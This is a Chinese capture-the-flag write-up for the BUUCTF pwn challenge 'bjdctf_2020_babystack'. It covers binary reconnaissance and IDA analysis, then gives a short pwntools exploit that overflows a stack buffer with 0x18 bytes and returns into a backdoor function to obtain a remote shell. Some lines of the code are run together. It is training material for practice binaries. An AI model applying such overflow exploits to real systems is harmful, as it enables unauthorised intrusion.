当前位置: 首页 > news >正文

PWN手的成长之路-03-bjdctf_2020_babystack

image

首先nc一下远程环境,看一下他有什么功能。发现有两个输入,第一个是输入名字的长度,第二个是输入名字。
image

file 查看一下给的附件。是一个64位的 ELF 可执行文件。
image

checksec 查看文件的安全保护。得知启动了NX栈保护,其他保护都没开。
image

使用IDA查看文件的main函数。在打开时需要区分32位与64位,低版本的IDA,32位文件需要在IDA32中打开,但是IDA版本较高时就不用管了,32位也可以放在IDA64中打开。
image

查看伪代码:
image
发现了 scanf 这个这个高危函数。
程序流程:用户输入一个整数,并把此数存在 nbytes 变量中,再提示用户输入姓名,然后使用read函数从标准输入读取指定长度(由 nbytes 决定)的数据到 buf 数组中。

并且在函数中发现了 backdoor 这个后门函数,因此我们就需要造成程序的溢出再让其覆盖 backdoor 函数的位置,得到 shell
image

查看我们需要填充的字节为 0x10+8=0x18
image

backdoor 函数的内存地址为:0x4006E6
image

编写exp:

from pwn import *
r=remote('node5.buuoj.cn',29605)backdoor_addr=0x4006E6
#ret = 0x401198payload=b'a'*0x18+p64(backdoor_addr)
r.sendlineafter('name','123')
r.sendline(payload)
r.interactive()
http://www.jsqmd.com/news/5741/

相关文章:

  • 对四大经典请求方式的疑惑
  • 2026 NOI 做题记录(四)
  • 简单快速理解遗传算法
  • WordPress文章设置固定链接或永久链接 - 教程
  • 个人用云计算学习笔记 --15. (Linux 系统启动原理、Linux 防火墙管理)) - 实践
  • 给小孩出数学题
  • dotnet项目编译运行
  • linux virtualenv使用
  • 实用指南:kafka详解
  • 06-基于FPGA和LTC2308的数字电压表设计-ModelSim仿真与Matlab模拟信号产生 - 详解
  • 详细介绍:whisper-large-v3部署详细步骤,包括cpu和gpu方式,跟着做一次成功
  • 数据类型-列表
  • 2025/9/28
  • 智表 ZCELL:纯前端 Excel 导入导出的高效解决方案,让数据处理更轻松
  • 采用IOT-Tree消息流MQTT模块节点实现监测数据推送功能
  • 【MySQL 高阶】MySQL 架构与存储引擎全面详解 - 实践
  • ISO 雨晨 26200.6588 Windows 11 企业版 LTSC 25H2 自用 edge 140.0.3485.81 - 教程
  • lc1039-多边形三角剖分的最低得分
  • Powershell 进阶语(三)
  • 随机函数
  • 集合进阶-collection集合
  • 51c自动驾驶~合集33 - 详解
  • 完整教程:前端学习-HTML
  • 【SCI一区】模糊斜率熵 Fuzzy Slope Entropy+状态分类、故障诊断! - 教程
  • Spring Boot项目中集成MyBatis-Plus
  • 深入解析:ShellExtensionU.dll COMToolKit.dll CardRes.dll grubinst.exe vbar332.dll Vb5db.dll dao360.dll
  • VSCod安装esp-idf插件 ERROR_INVALID_PIP错误解决
  • [解决方案] 回顾一下业务中的网络技术演化
  • 深入解析:高性能分布式对象存储RustFS
  • 一款在线免费 PDF AI 工具平台,PDF 拆分,合并,加水印,PDF与Word、Excel、PPT、图片、TXT、HTML、Markdown互转的在线AI工具